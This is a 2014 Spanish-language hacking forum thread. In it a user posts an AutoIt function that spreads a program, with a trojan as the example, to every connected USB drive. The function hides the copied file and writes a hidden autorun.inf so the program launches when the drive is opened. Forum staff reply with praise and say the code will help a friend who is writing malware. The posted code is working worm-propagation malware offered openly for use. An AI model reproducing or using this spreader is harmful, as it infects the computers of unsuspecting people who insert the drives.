comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[AutoIt] USB spreader function

  • 2 Respuestas
  • 2411 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado 0b3Y

  • *
  • Underc0der
  • Mensajes: 12
  • Actividad:
    0%
  • Reputación 0
  • The World Is MINE!
    • Ver Perfil
« en: Mayo 29, 2014, 03:18:19 pm »
Hola buenas, les traigo aqui una funcion que acabo de relaizar para hacer spreading en los usb que esten conectados.
Actualmente estoy trabajando en la siguiente version asique esperen un poc y tendran el code mejorado :P

Código: Text
  1. ; #FUNCTION# ===========================================================================================================
  2. ; Name...........: __Spreader
  3. ; Description ...: Copys a program in all USB and creates a autorun.
  4. ; Syntax.........: _Spreader ($program,nombre)
  5. ; Parameters ....: $program - The route of the program, must be complete, Ej: C:\Users\User\AppData\Roaming\TrojanFolder\Trojan.exe
  6. ;                                  $nombre - The name of the program, this will be used in the AutoRun. Must be like this, Ej: "TrojanName.exe"
  7. ; Author ........: 0b3y
  8. ; ===============================================================================================================================
  9.  
  10. Func _Spreader($program,$nombre)
  11. $todos_drive=DriveGetDrive("REMOVABLE")
  12. For $i=1 To $todos_drive[0]
  13.    If $todos_drive[$i]="a:" Then
  14.           ContinueLoop
  15.    EndIf
  16.    If Not FileExists($todos_drive[$i]&"\"&$program) Then FileCopy($program,$todos_drive[$i])
  17.           FileSetAttrib($todos_drive[$i]&"\"&$program,"+H")
  18.    If Not FileExists($todos_drive[$i]&"\"&"autorun.inf") Then
  19.           $ifile=FileOpen($todos_drive[$i]&"\autorun.inf")
  20.           FileWrite($ifile,"[Autorun]"&@CRLF&"Open="&$nombre&@CRLF&"Icon="&$nombre&@CRLF&"Label=Aplicaciones Portables"&@CRLF&"UserAutoPlay=1"&@CRLF&"action=Abrir USB"&@CRLF&"action=@"&$nombre&@CRLF&"shell\open=Abrir"&@CRLF&"shell\open\Command="&$nombre&@CRLF&"shell\explore=explorar"&@CRLF&"shell\explore\Command="&$nombre)
  21.           FileClose($ifile)
  22.           FileSetAttrib($todos_drive[$i]&"\autorun.inf","+H")
  23.           EndIf
  24. Next
  25.  
  26. EndFunc
  27.  
  28.  
« Última modificación: Junio 02, 2014, 07:32:13 am por 0b3Y »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5331
  • Actividad:
    58.33%
  • Reputación 29
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Mayo 29, 2014, 03:28:28 pm »
Muy bueno bro! Se lo voy a recomendar a un amigo que estaba programando un malware en este lenguaje!

Saludos!
ANTRAX


Conectado 79137913

  • *
  • Moderator
  • Mensajes: 626
  • Actividad:
    15%
  • Reputación 10
  • 4 Esquinas
    • Ver Perfil
    • Doors.Party
    • Email
  • Skype: fg_mdq@hotmail.com
« Respuesta #2 en: Mayo 29, 2014, 06:21:10 pm »
HOLA!!!


Esta bueno, despues te paso uno mas :D.-


GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   You are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



[AutoIt] Ayuda: alguna manera de formatear unidades

Iniciado por fortil

Respuestas: 1
Vistas: 1630
Último mensaje Abril 14, 2014, 06:29:19 am
por 0b3Y
[AUTOIT] Anti VMWare & AntiVbox

Iniciado por Expermicid

Respuestas: 0
Vistas: 1646
Último mensaje Julio 03, 2012, 11:33:30 am
por Expermicid
[FUNCION] Autoit TCP File Send

Iniciado por 79137913

Respuestas: 0
Vistas: 1603
Último mensaje Diciembre 10, 2013, 11:02:38 am
por 79137913
[RAT] Lo basico para empezar un RAT en AUTOIT

Iniciado por 79137913

Respuestas: 1
Vistas: 1847
Último mensaje Diciembre 02, 2013, 11:37:43 am
por ANTRAX
Como agregar skins en autoit

Iniciado por Flame

Respuestas: 0
Vistas: 2883
Último mensaje Agosto 17, 2016, 11:18:56 pm
por Flame